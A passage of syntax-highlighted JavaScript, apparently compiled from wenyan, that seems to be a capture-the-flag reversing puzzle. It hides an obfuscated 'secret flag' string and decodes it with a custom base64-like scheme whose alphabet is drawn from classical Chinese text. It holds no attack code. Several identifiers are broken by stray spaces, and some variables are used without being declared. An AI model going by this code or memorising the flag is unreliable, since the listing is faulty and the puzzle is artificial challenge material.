class="string">&quot;先帝創業未半而中道崩殂今天下三分益州疲弊此誠危急存亡之秋也然侍衛之臣不懈於內忠誌之士忘身於外者蓋追先帝之殊遇欲報之於陛下也誠宜開張聖聽以光先帝遺德恢弘誌士之氣不宜妄自菲薄引喻失義以塞忠諫之路也宮中府中俱為一體陟罰臧否不宜異同若有作奸犯科及為忠善者宜付有司論其刑賞以昭陛下平明之理不宜偏私使內外異法也侍中侍郎郭攸之費禕董允等此皆良實誌慮忠純是以先帝簡拔以遺陛下愚以為宮中之事事無大小悉以谘之然後施行必能裨補闕漏有所廣益將軍嚮寵性行淑均曉暢軍事試用於昔日先帝稱之曰能是以衆議舉寵為督愚以為營中之事悉以谘之必能使行陣和睦優劣得所親賢臣遠小人此先漢所以興隆也親小人遠賢臣此後漢所以傾頹也先帝在時每與臣論此事未嘗不歎息痛恨於桓靈也侍中尚書長史參軍此悉貞良死節之臣願陛下親之信之則漢室之隆可計日而待也臣本佈衣躬耕於南陽苟全性命於亂世不求聞達於諸侯先帝不以臣卑鄙猥自枉屈三顧臣於草廬之中谘臣以當世之事由是感激遂許先帝以驅馳後值傾覆受任於敗軍之際奉命於危難之間爾來二十有一年矣先帝知臣謹慎故臨崩寄臣以大事也受命以來夙夜憂歎恐托付不效以傷先帝之明故五月渡瀘深入不毛今南方巳定兵甲已足當獎率三軍北碇中原庶竭駑鈍攘除奸兇興複漢室還于舊都此臣所以報先帝而忠陛下之職分也至於斟酌損益進盡忠言則攸之禕允之任也願陛下托臣以討賊興複之效不效則治臣之罪以告先帝之靈若無興德之言則責攸之禕允等之慢以彰其咎陛下亦宜自謀以谘諏善道察納雅言深追先帝遺詔臣不勝受恩感激今當遠離臨錶涕零不知所言&quot;</span>;</span><br><span class="line">    <span class="keyword">var</span> 秘旗 = <span class="variable language_">this</span>.秘旗 = <span class="string">&quot;\x1b[38:5:181m獎\x1b[38:5:202m當\x1b[38:5:177m之\x1b[38:5:210m兇\x1b[38:5:191m深\x1b[38:5:170m定\x1b[38:5:189m忠\x1b[38:5:197m忠\x1b[38:5:192m複\x1b[38:5:226m除\x1b[38:5:177m率\x1b[38:5:226m月\x1b[38:5:191m月\x1b[38:5:170m都\x1b[38:5:177m三\x1b[38:5:178m還\x1b[38:5:177m三\x1b[38:5:209m先\x1b[38:5:188m而\x1b[38:5:197m忠\x1b[38:5:192m兇\x1b[38:5:198m故\x1b[38:5:192m複\x1b[38:5:226m巳\x1b[38:5:177m三\x1b[38:5:222m定\x1b[38:5:189m率\x1b[38:5:225m陛\x1b[38:5:194m軍\x1b[38:5:166m除\x1b[38:5:178m軍\x1b[38:5:186m忠\x1b[38:5:181m率\x1b[38:5:226m所\x1b[38:5:177m瀘\x1b[38:5:226m獎\x1b[38:5:181m獎\x1b[38:5:218m除\x1b[38:5:179m當\x1b[38:5:166m鈍\x1b[38:5:178m三\x1b[38:5:170m斟&quot;</span>; <span class="comment">/*已&#x27;: 2,&#x27;定&#x27;: 2 */</span></span><br><span class="line">&#125;; <span class="comment">/*___wenyan_module_恆常_end___*/</span> <span class="comment">/*___wenyan_module_鑿字秘術_start___*/</span></span><br><span class="line"><span class="keyword">var</span> 鑿字秘術 = <span class="keyword">new</span> <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> 正閱 = <span class="variable language_">this</span>.正閱 = <span class="string">&quot;data&quot;</span>;</span><br><span class="line">    <span class="keyword">var</span> 已閱 = <span class="variable language_">this</span>.已閱 = <span class="string">&quot;end&quot;</span>;</span><br><span class="line">    <span class="keyword">var</span> 始碼 = <span class="variable language_">this</span>.始碼 = <span class="function"><span class="params">_</span> =&gt;</span> &#123;&#125;;</span><br><span class="line">    始碼 = <span class="variable language_">this</span>.始碼 = 字 =&gt; &#123;</span><br><span class="line">        <span class="keyword">const</span> _ans1 = <span class="title class_">String</span>.<span class="title function_">fromCharCode</span>(字);</span><br><span class="line">        <span class="keyword">return</span> _ans1;</span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="keyword">var</span> 字址 = <span class="variable language_">this</span>.字址 = <span class="function"><span class="params">_</span> =&gt;</span> &#123;&#125;;</span><br><span class="line">    字址 = <span class="variable language_">this</span>.字址 = 字 =&gt; 址 =&gt; &#123;</span><br><span class="line">        <span class="keyword">const</span> _ans2 = (<span class="function">(<span class="params">target</span>) =&gt;</span> (<span class="function">(<span class="params">idx</span>) =&gt;</span> target.<span class="title function_">charCodeAt</span>(idx)))(字)(址);</span><br><span class="line">        <span class="keyword">return</span> _ans2;</span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="keyword">var</span> 始於 = <span class="variable language_">this</span>.始於 = <span class="function"><span class="params">_</span> =&gt;</span> &#123;&#125;;</span><br><span class="line">    始於 = <span class="variable language_">this</span>.始於 = 字 =&gt; 符 =&gt; &#123;</span><br><span class="line">        <span class="keyword">const</span> _ans3 = (<span class="function">(<span class="params">target</span>) =&gt;</span> (<span class="function">(<span class="params">label</span>) =&gt;</span> target.<span class="title function_">startsWith</span>(label)))(字)(符);</span><br><span class="line">        <span class="keyword">return</span> _ans3;</span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="keyword">var</span> 字子 = <span class="variable language_">this</span>.字子 = <span class="function"><span class="params">_</span> =&gt;</span> &#123;&#125;;</span><br><span class="line">    字子 = <span class="variable language_">this</span>.字子 = 字 =&gt; 址 =&gt; &#123;</span><br><span class="line">        <span class="keyword">const</span> _ans4 = (<span class="function">(<span class="params">target</span>) =&gt;</span> (<span class="function">(<span class="params">idx</span>) =&gt;</span> target.<span class="title function_">substring</span>(idx)))(字)(址);</span><br><span class="line">        <span class="keyword">return</span> _ans4;</span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="keyword">var</span> 子字 = <span class="variable language_">this</span>.子字 = <span class="function"><span class="params">_</span> =&gt;</span> &#123;&#125;;</span><br><span class="line">    子字 = <span class="variable language_">this</span>.子字 = 字 =&gt; 始 =&gt; 末 =&gt; &#123;</span><br><span class="line">        <span class="keyword">const</span> _ans5 = (<span class="function">(<span class="params">target</span>) =&gt;</span> (<span class="function">(<span class="params">s</span>) =&gt;</span> (<span class="function">(<span class="params">e</span>) =&gt;</span> target.<span class="title function_">substring</span>(s, e))))(字)(始)(末);</span><br><span class="line">        <span class="keyword">return</span> _ans5;</span><br><span class="line">    &#125;;</span><br><span class="line">&#125;; <span class="comment">/*___wenyan_module_鑿字秘術_end___*/</span> <span class="comment">/*___wenyan_module_交互秘術_start___*/</span></span><br><span class="line"><span class="keyword">var</span> 交互秘術 = <span class="keyword">new</span> <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> 正閱 = <span class="variable language_">this</span>.正閱 = <span class="string">&quot;data&quot;</span>;</span><br><span class="line">    <span class="keyword">var</span> 已閱 = <span class="variable language_">this</span>.已閱 = <span class="string">&quot;end&quot;</span>;</span><br><span class="line">    <span class="keyword">const</span> _ans1 = <span class="built_in">require</span>(<span class="string">&quot;readline&quot;</span>).<span class="title function_">createInterface</span>(process.<span class="property">stdin</span>, process.<span class="property">stdout</span>);</span><br><span class="line">    <span class="keyword">var</span> 讀行 = _ans1;</span><br><span class="line">    <span class="keyword">var</span> 化言 = <span class="variable language_">this</span>.化言 = <span class="function"><span class="params">_</span> =&gt;</span> &#123;&#125;;</span><br><span class="line">    化言 = <span class="variable language_">this</span>.化言 = 甲 =&gt; &#123;</span><br><span class="line">        <span class="keyword">const</span> _ans2 = 甲.<span class="title function_">toString</span>();</span><br><span class="line">        <span class="keyword">return</span> _ans2;</span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="keyword">var</span> 發生 = <span class="variable language_">this</span>.發生 = <span class="function"><span class="params">_</span> =&gt;</span> &#123;&#125;;</span><br><span class="line">    發生 = <span class="variable language_">this</span>.發生 = 事 =&gt; &#123;</span><br><span class="line">        <span class="keyword">const</span> _ans3 = (<span class="function">(<span class="params">event</span>) =&gt;</span> process.<span class="property">stdin</span>.<span class="title function_">emit</span>(event))(事);</span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="keyword">var</span> 監聽 = <span class="variable language_">this</span>.監聽 = <span class="function"><span class="params">_</span> =&gt;</span> &#123;&#125;;</span><br><span class="line">    監聽 = <span class="variable language_">this</span>.監聽 = 事件 =&gt; 響應 =&gt; &#123;</span><br><span class="line">        <span class="keyword">const</span> _ans4 = (<span class="function">(<span class="params">event</span>) =&gt;</span> (<span class="function">(<span class="params">func</span>) =&gt;</span> process.<span class="property">stdin</span>.<span class="title function_">on</span>(event, func)))(事件)(響應);</span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="keyword">var</span> 聽寫 = <span class="variable language_">this</span>.聽寫 = <span class="function"><span class="params">_</span> =&gt;</span> &#123;&#125;;</span><br><span class="line">    聽寫 = <span class="variable language_">this</span>.聽寫 = 事件 =&gt; 響應 =&gt; &#123;</span><br><span class="line">        <span class="keyword">const</span> _ans5 = (<span class="function">(<span class="params">event</span>) =&gt;</span> (<span class="function">(<span class="params">func</span>) =&gt;</span> 讀行.<span class="title function_">on</span>(event, func)))(事件)(響應);</span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="keyword">var</span> 閱止 = <span class="variable language_">this</span>.閱止 = <span class="function"><span class="params">_</span> =&gt;</span> &#123;&#125;;</span><br><span class="line">    閱止 = <span class="variable language_">this</span>.閱止 = <span class="function">() =&gt;</span> &#123;</span><br><span class="line">        <span class="keyword">const</span> _ans6 = (<span class="function">() =&gt;</span> process.<span class="property">stdin</span>.<span class="title function_">end</span>())();</span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="keyword">var</span> 輸出 = <span class="variable language_">this</span>.輸出 = <span class="function"><span class="params">_</span> =&gt;</span> &#123;&#125;;</span><br><span class="line">    輸出 = <span class="variable language_">this</span>.輸出 = 文 =&gt; &#123;</span><br><span class="line">        <span class="keyword">const</span> _ans7 = (<span class="function">(<span class="params">s</span>) =&gt;</span> process.<span class="property">stdout</span>.<span class="title function_">write</span>(s))(文);</span><br><span class="line">    &#125;;</span><br><span class="line">&#125;; <span class="comment">/*___wenyan_module_交互秘術_end___*/</span></span><br><span class="line"><span class="keyword">var</span> 輸出 = 交互秘術.輸出;</span><br><span class="line"><span class="keyword">var</span> 聽寫 = 交互秘術.聽寫;</span><br><span class="line"><span class="keyword">var</span> 始碼 = 鑿字秘術.始碼;</span><br><span class="line"><span class="keyword">var</span> 字址 = 鑿字秘術.字址;</span><br><span class="line"><span class="keyword">var</span> 子字 = 鑿字秘術.子字;</span><br><span class="line"><span class="keyword">var</span> 始於 = 鑿字秘術.始於;</span><br><span class="line"><span class="keyword">var</span> 字子 = 鑿字秘術.字子;</span><br><span class="line"><span class="keyword">var</span> 啟 = 恆常.啟;</span><br><span class="line"><span class="keyword">var</span> 歷 = 恆常.歷;</span><br><span class="line"><span class="keyword">var</span> 託 = 恆常.託;</span><br><span class="line"><span class="keyword">var</span> 師 = 恆常.師;</span><br><span class="line"><span class="keyword">var</span> 大 = 恆常.大;</span><br><span class="line"><span class="keyword">var</span> 笆 = 恆常.笆;</span><br><span class="line"><span class="keyword">var</span> 斯 = 恆常.斯;</span><br><span class="line"><span class="keyword">var</span> 魠 = 恆常.魠;</span><br><span class="line"><span class="keyword">var</span> 秘旗 = 恆常.秘旗;</span><br><span class="line"><span class="keyword">var</span> 獲取 = <span class="function"><span class="params">_</span> =&gt;</span> &#123;&#125;;</span><br><span class="line">獲取 = 對象 =&gt; 域 =&gt; &#123;</span><br><span class="line">    <span class="keyword">return</span> 對象[域];</span><br><span class="line">&#125;; <span class="comment">/*&quot;============&quot;*/</span></span><br><span class="line"><span class="keyword">var</span> 營 = <span class="function"><span class="params">_</span> =&gt;</span> &#123;&#125;;</span><br><span class="line">營 = 日 =&gt; 鑫 =&gt; &#123;</span><br><span class="line">    <span class="keyword">const</span> _ans1 = 日 % 鑫;</span><br><span class="line">    <span class="keyword">const</span> _ans2 = 日 - _ans1;</span><br><span class="line">    <span class="keyword">var</span> 戌卯 = _ans2;</span><br><span class="line">    <span class="keyword">const</span> _ans3 = 戌卯 / 鑫;</span><br><span class="line">    <span class="keyword">var</span> 庚巳 = _ans3;</span><br><span class="line">    <span class="keyword">return</span> 庚巳;</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">var</span> 削 = <span class="function"><span class="params">_</span> =&gt;</span> &#123;&#125;;</span><br><span class="line">削 = 日 =&gt; 鑫 =&gt; &#123;</span><br><span class="line">    <span class="keyword">var</span> 命 = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">var</span> 恩 = <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">while</span> (<span class="literal">true</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> 戊乙 = <span class="literal">false</span>;</span><br><span class="line">        <span class="keyword">if</span> (日 &gt; <span class="number">0</span>) &#123;</span><br><span class="line">            戊乙 = <span class="literal">true</span>;</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="keyword">var</span> 午酉 = <span class="literal">false</span>;</span><br><span class="line">        <span class="keyword">if</span> (鑫 &gt; <span class="number">0</span>) &#123;</span><br><span class="line">            午酉 = <span class="literal">true</span>;</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="keyword">const</span> _ans4 = 戊乙 &amp;&amp; 午酉;</span><br><span class="line">        <span class="keyword">var</span> 酉癸 = _ans4;</span><br><span class="line">        <span class="keyword">if</span> (酉癸 == <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="keyword">const</span> _ans5 = 日 % <span class="number">2</span>;</span><br><span class="line">        <span class="keyword">var</span> 辛甲 = _ans5;</span><br><span class="line">        <span class="keyword">var</span> 甲二 = <span class="literal">false</span>;</span><br><span class="line">        <span class="keyword">if</span> (辛甲 == <span class="number">1</span>) &#123;</span><br><span class="line">            甲二 = <span class="literal">true</span>;</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="keyword">const</span> _ans6 = 鑫 % <span class="number">2</span>;</span><br><span class="line">        <span class="keyword">var</span> 二辛 = _ans6;</span><br><span class="line">        <span class="keyword">var</span> 午庚 = <span class="literal">false</span>;</span><br><span class="line">        <span class="keyword">if</span> (二辛 == <span class="number">1</span>) &#123;</span><br><span class="line">            午庚 = <span class="literal">true</span>;</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="keyword">const</span> _ans7 = 甲二 &amp;&amp; 午庚;</span><br><span class="line">        <span class="keyword">var</span> 巳己 = _ans7;</span><br><span class="line">        <span class="keyword">if</span> (巳己) &#123;</span><br><span class="line">            <span class="keyword">const</span> _ans8 = 命 + 恩;</span><br><span class="line">            命 = _ans8;</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="keyword">const</span> _ans9 = 營(日)(<span class="number">2</span>);</span><br><span class="line">        日 = _ans9;</span><br><span class="line">        <span class="keyword">const</span> _ans10 = 營(鑫)(<span class="number">2</span>);</span><br><span class="line">        鑫 = _ans10;</span><br><span class="line">        <span class="keyword">const</span> _ans11 = 恩 * <span class="number">2</span>;</span><br><span class="line">        恩 = _ans11;</span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="keyword">return</span> 命;</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">var</span> 斐 = <span class="function"><span class="params">_</span> =&gt;</span> &#123;&#125;;</span><br><span class="line">斐 = 竺 =&gt; &#123;</span><br><span class="line">    <span class="keyword">var</span> 呼 = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">while</span> (<span class="literal">true</span>) &#123;</span><br><span class="line">        <span class="keyword">const</span> _ans12 = 笆.<span class="property">length</span>;</span><br><span class="line">        <span class="keyword">var</span> 巳酉 = <span class="literal">false</span>;</span><br><span class="line">        <span class="keyword">if</span> (呼 &lt; _ans12) &#123;</span><br><span class="line">            巳酉 = <span class="literal">true</span>;</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="keyword">if</span> (巳酉 == <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="keyword">const</span> _ans13 = 獲取(笆)(呼);</span><br><span class="line">        <span class="keyword">var</span> 乙丁 = _ans13;</span><br><span class="line">        <span class="keyword">if</span> (乙丁 == 竺) &#123;</span><br><span class="line">            <span class="keyword">return</span> 呼;</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="keyword">const</span> _ans14 = 呼 + <span class="number">1</span>;</span><br><span class="line">        呼 = _ans14;</span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">var</span> 天 = <span class="function"><span class="params">_</span> =&gt;</span> &#123;&#125;;</span><br><span class="line">天 = 食 =&gt; &#123;</span><br><span class="line">    <span class="keyword">var</span> 返 = [];</span><br><span class="line">    <span class="keyword">var</span> 呼 = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">while</span> (<span class="literal">true</span>) &#123;</span><br><span class="line">        <span class="keyword">const</span> _ans15 = 食.<span class="property">length</span>;</span><br><span class="line">        <span class="keyword">var</span> 寅二 = <span class="literal">false</span>;</span><br><span class="line">        <span class="keyword">if</span> (呼 &lt; _ans15) &#123;</span><br><span class="line">            寅二 = <span class="literal">true</span>;</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="keyword">if</span> (寅二 == <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="keyword">var</span> 表 = [];</span><br><span class="line">        <span class="keyword">const</span> _ans16 = 獲取(食)(呼);</span><br><span class="line">        <span class="keyword">var</span> 辰丁 = _ans16;</span><br><span class="line">        <span class="keyword">const</span> _ans17 = 斐(辰丁);</span><br><span class="line">        <span class="keyword">var</span> 丙戊 = _ans17;</span><br><span class="line">        <span class="keyword">const</span> _ans18 = 呼 + <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">var</span> 丙甲 = _ans18;</span><br><span class="line">        <span class="keyword">const</span> _ans19 = 獲取(食)(丙甲);</span><br><span class="line">        <span class="keyword">var</span> 丁 申 = _ans19;</span><br><span class="line">        <span class="keyword">const</span> _ans20 = 斐(丁申);</span><br><span class="line">        <span class="keyword">var</span> 午申 = _ans20;</span><br><span class="line">        <span class="keyword">const</span> _ans21 = 呼 + <span class="number">2</span>;</span><br><span class="line">        <span class="keyword">var</span> 乙庚 = _ans21;</span><br><span class="line">        <span class="keyword">const</span> _ans22 = 獲取(食)(乙庚);</span><br><span class="line">        <span class="keyword">var</span> 地戌 = _ans22;</span><br><span class="line">        <span class="keyword">const</span> _ans23 = 斐(地戌);</span><br><span class="line">        <span class="keyword">var</span> 丁亥 = _ans23;</span><br><span class="line">        <span class="keyword">const</span> _ans24 = 呼 + <span class="number">3</span>;</span><br><span class="line">        <span class="keyword">var</span> 二卯 = _ans24;</span><br><span class="line">        <span class="keyword">const</span> _ans25 = 獲取(食)(二卯);</span><br><span class="line">        <span class="keyword">var</span> 寅酉 = _ans25;</span><br><span class="line">        <span class="keyword">const</span> _ans26 = 斐(寅酉);</span><br><span class="line">        <span class="keyword">var</span> 支丙 = _ans26;</span><br><span class="line">        表.<span class="title function_">push</span>(丙戊, 午申, 丁亥, 支丙);</span><br><span class="line">        <span class="keyword">const</span> _ans27 = 表[<span class="number">1</span> - <span class="number">1</span>];</span><br><span class="line">        <span class="keyword">var</span> 己辛 = _ans27;</span><br><span class="line">        <span class="keyword">const</span> _ans28 = 己辛 * <span class="number">4</span>;</span><br><span class="line">        <span class="keyword">var</span> 酉支 = _ans28;</span><br><span class="line">        <span class="keyword">const</span> _ans29 = 表[<span class="number">2</span> - <span class="number">1</span>];</span><br><span class="line">        <span class="keyword">var</span> 乙酉 = _ans29;</span><br><span class="line">        <span class="keyword">const</span> _ans30 = 營(乙酉)(<span class="number">16</span>);</span><br><span class="line">        <span class="keyword">const</span> _ans31 = 酉支 + _ans30;</span><br><span class="line">        <span class="keyword">var</span> 丁壬 = _ans31;</span><br><span class="line">        返.<span class="title function_">push</span>(丁壬);</span><br><span class="line">        <span class="keyword">const</span> _ans32 = 表[<span class="number">2</span> - <span class="number">1</span>];</span><br><span class="line">        <span class="keyword">var</span> 子甲 = _ans32;</span><br><span class="line">        <span class="keyword">const</span> _ans33 = 削(子甲)(<span class="number">15</span>);</span><br><span class="line">        <span class="keyword">var</span> 丁巳 = _ans33;</span><br><span class="line">        <span class="keyword">const</span> _ans34 = 丁巳 * <span class="number">16</span>;</span><br><span class="line">        <span class="keyword">var</span> 壬己 = _ans34;</span><br><span class="line">        <span class="keyword">const</span> _ans35 = 表[<span class="number">3</span> - <span class="number">1</span>];</span><br><span class="line">        <span class="keyword">var</span> 辛辛 = _ans35;</span><br><span class="line">        <span class="keyword">const</span> _ans36 = 營(辛辛)(<span class="number">4</span>);</span><br><span class="line">        <span class="keyword">const</span> _ans37 = 壬己 + _ans36;</span><br><span class="line">        <span class="keyword">var</span> 支己 = _ans37;</span><br><span class="line">        返.<span class="title function_">push</span>(支己);</span><br><span class="line">        <span class="keyword">const</span> _ans38 = 表[<span class="number">3</span> - <span class="number">1</span>];</span><br><span class="line">        <span class="keyword">var</span> 亥巳 = _ans38;</span><br><span class="line">        <span class="keyword">const</span> _ans39 = 削(亥巳)(<span class="number">3</span>);</span><br><span class="line">        <span class="keyword">var</span> 地丙 = _ans39;</span><br><span class="line">        <span class="keyword">const</span> _ans40 = 地丙 * <span class="number">64</span>;</span><br><span class="line">        <span class="keyword">var</span> 申 戌 = _ans40;</span><br><span class="line">        <span class="keyword">const</span> _ans41 = 表[<span class="number">4</span> - <span class="number">1</span>];</span><br><span class="line">        <span class="keyword">var</span> 乙卯 = _ans41;</span><br><span class="line">        <span class="keyword">const</span> _ans42 = 削(乙卯)(<span class="number">63</span>);</span><br><span class="line">        <span class="keyword">const</span> _ans43 = 申戌 + _ans42;</span><br><span class="line">        <span class="keyword">var</span> 壬寅 = _ans43;</span><br><span class="line">        返.<span class="title function_">push</span>(壬寅);</span><br><span class="line">        <span class="keyword">const</span> _ans44 = 呼 + <span class="number">4</span>;</span><br><span class="line">        呼 = _ans44;</span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="keyword">var</span> 遣 = <span class="string">&quot;&quot;</span>;</span><br><span class="line">    <span class="keyword">var</span> 呼 = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">while</span> (<span class="literal">true</span>) &#123;</span><br><span class="line">        <span class="keyword">const</span> _ans45 = 返.<span class="property">length</span>;</span><br><span class="line">        <span class="keyword">var</span> 辛未 = <span class="literal">false</span>;</span><br><span class="line">        <span class="keyword">if</span> (呼 &lt; _ans45) &#123;</span><br><span class="line">            辛未 = <span class="literal">true</span>;</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="keyword">if</span> (辛未 == <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="keyword">const</span> _ans46 = 獲取(返)(呼);</span><br><span class="line">        <span class="keyword">var</span> 戊丙 = _ans46;</span><br><span class="line">        <span class="keyword">if</span> (戊丙 == <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="keyword">const</span> _ans47 = 始碼(戊丙);</span><br><span class="line">        <span class="keyword">const</span> _ans48 = 遣 + _ans47;</span><br><span class="line">        遣 = _ans48;</span><br><span class="line">        <span class="keyword">const</span> _ans49 = 呼 + <span class="number">1</span>;</span><br><span class="line">        呼 = _ans49;</span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="keyword">return</span> 遣;</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">const</span> _ans50 = 子字(師)(<span class="number">463</span>)(<span class="number">527</span>);</span><br><span class="line"><span class="keyword">var</span> 桐 = _ans50;</span><br><span class="line"><span class="keyword">const</span> _ans51 = 天(斯);</span><br><span class="line"><span class="keyword">var</span> 系 = _ans51;</span><br><span class="line"><span class="keyword">const</span> _ans52 = 天(啟);</span><br><span class="line"><span class="keyword">var</span> 啟 = _ans52;</span><br><span class="line"><span class="keyword">var</span> 涅 = <span class="string">&quot;&gt; &quot;</span>;</span><br><span class="line"><span class="keyword">var</span> 禱 = <span class="function"><span class="params">_</span> =&gt;</span> &#123;&#125;;</span><br><span class="line">禱 = 食 =&gt; &#123;</span><br><span class="line">    <span class="keyword">const</span> _ans53 = 食.<span class="property">length</span>;</span><br><span class="line">    <span class="keyword">var</span> 連 = _ans53;</span><br><span class="line">    <span class="keyword">const</span> _ans54 = !連;</span><br><span class="line">    <span class="keyword">var</span> 未丑 = _ans54;</span><br><span class="line">    <span class="keyword">if</span> (未丑) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;&quot;</span>;</span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="keyword">var</span> 紀元 = <span class="string">&quot;&quot;</span>;</span><br><span class="line">    <span class="keyword">var</span> 呼 = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">while</span> (<span class="literal">true</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> 申壬 = <span class="literal">false</span>;</span><br><span class="line">        <span class="keyword">if</span> (呼 &lt; 連) &#123;</span><br><span class="line">            申壬 = <span class="literal">true</span>;</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="keyword">if</span> (申壬 == <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="keyword">const</span> _ans55 = 字址(食)(呼);</span><br><span class="line">        日 = _ans55;</span><br><span class="line">        <span class="keyword">var</span> 鑫 = <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">var</span> 谷 = <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">const</span> _ans56 = 連 - 呼;</span><br><span class="line">        <span class="keyword">var</span> 己酉 = _ans56;</span><br><span class="line">        <span class="keyword">if</span> (己酉 &gt;= <span class="number">2</span>) &#123;</span><br><span class="line">            <span class="keyword">const</span> _ans57 = 呼 + <span class="number">1</span>;</span><br><span class="line">            <span class="keyword">var</span> 支辛 = _ans57;</span><br><span class="line">            <span class="keyword">const</span> _ans58 = 字址(食)(支辛);</span><br><span class="line">            鑫 = _ans58;</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="keyword">const</span> _ans59 = 連 - 呼;</span><br><span class="line">        <span class="keyword">var</span> 地巳 = _ans59;</span><br><span class="line">        <span class="keyword">if</span> (地巳 &gt; <span class="number">2</span>) &#123;</span><br><span class="line">            <span class="keyword">const</span> _ans60 = 呼 + <span class="number">2</span>;</span><br><span class="line">            <span class="keyword">var</span> 乙乙 = _ans60;</span><br><span class="line">            <span class="keyword">const</span> _ans61 = 字址(食)(乙乙);</span><br><span class="line">            谷 = _ans61;</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="keyword">const</span> _ans62 = 營(日)(<span class="number">4</span>);</span><br><span class="line">        <span class="keyword">var</span> 丙癸 = _ans62;</span><br><span class="line">        <span class="keyword">const</span> _ans63 = 削(日)(<span class="number">3</span>);</span><br><span class="line">        <span class="keyword">var</span> 亥十 = _ans63;</span><br><span class="line">        <span class="keyword">const</span> _ans64 = 亥十 * <span class="number">16</span>;</span><br><span class="line">        <span class="keyword">var</span> 乙己 = _ans64;</span><br><span class="line">        <span class="keyword">const</span> _ans65 = 營(鑫)(<span class="number">16</span>);</span><br><span class="line">        <span class="keyword">const</span> _ans66 = 乙己 + _ans65;</span><br><span class="line">        <span class="keyword">var</span> 卯戌 = _ans66;</span><br><span class="line">        <span class="keyword">const</span> _ans67 = 型(丙癸)(卯戌);</span><br><span class="line">        <span class="keyword">const</span> _ans68 = 紀元 + _ans67;</span><br><span class="line">        紀元 = _ans68;</span><br><span class="line">        <span class="keyword">const</span> _ans69 = 削(鑫)(<span class="number">15</span>);</span><br><span class="line">        <span class="keyword">var</span> 戌戌 = _ans69;</span><br><span class="line">        <span class="keyword">const</span> _ans70 = 戌戌 * <span class="number">4</span>;</span><br><span class="line">        <span class="keyword">var</span> 乙己七 = _ans70;</span><br><span class="line">        <span class="keyword">const</span> _ans71 = 營(谷)(<span class="number">64</span>);</span><br><span class="line">        <span class="keyword">const</span> _ans72 = 乙己七 + _ans71;</span><br><span class="line">        <span class="keyword">var</span> 戌巳 = _ans72;</span><br><span class="line">        <span class="keyword">const</span> _ans73 = 削(谷)(<span class="number">63</span>);</span><br><span class="line">        <span class="keyword">var</span> 丁午 = _ans73;</span><br><span class="line">        <span class="keyword">const</span> _ans74 = 型(戌巳)(丁午);</span><br><span class="line">        <span class="keyword">const</span> _ans75 = 紀元 + _ans74;</span><br><span class="line">        紀元 = _ans75;</span><br><span class="line">        <span class="keyword">const</span> _ans76 = 呼 + <span class="number">3</span>;</span><br><span class="line">        呼 = _ans76;</span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="keyword">const</span> _ans77 = 連 % <span class="number">3</span>;</span><br><span class="line">    <span class="keyword">var</span> 辰申 = _ans77;</span><br><span class="line">    <span class="keyword">if</span> (辰申 == <span class="number">1</span>) &#123;</span><br><span class="line">        <span class="keyword">const</span> _ans78 = 紀元 + <span class="string">&quot;等於&quot;</span>;</span><br><span class="line">        紀元 = _ans78;</span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="keyword">return</span> 紀元;</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">const</span> _ans79 = 天(歷);</span><br><span class="line"><span class="keyword">var</span> 歷 = _ans79;</span><br><span class="line"><span class="keyword">const</span> _ans80 = 天(魠);</span><br><span class="line"><span 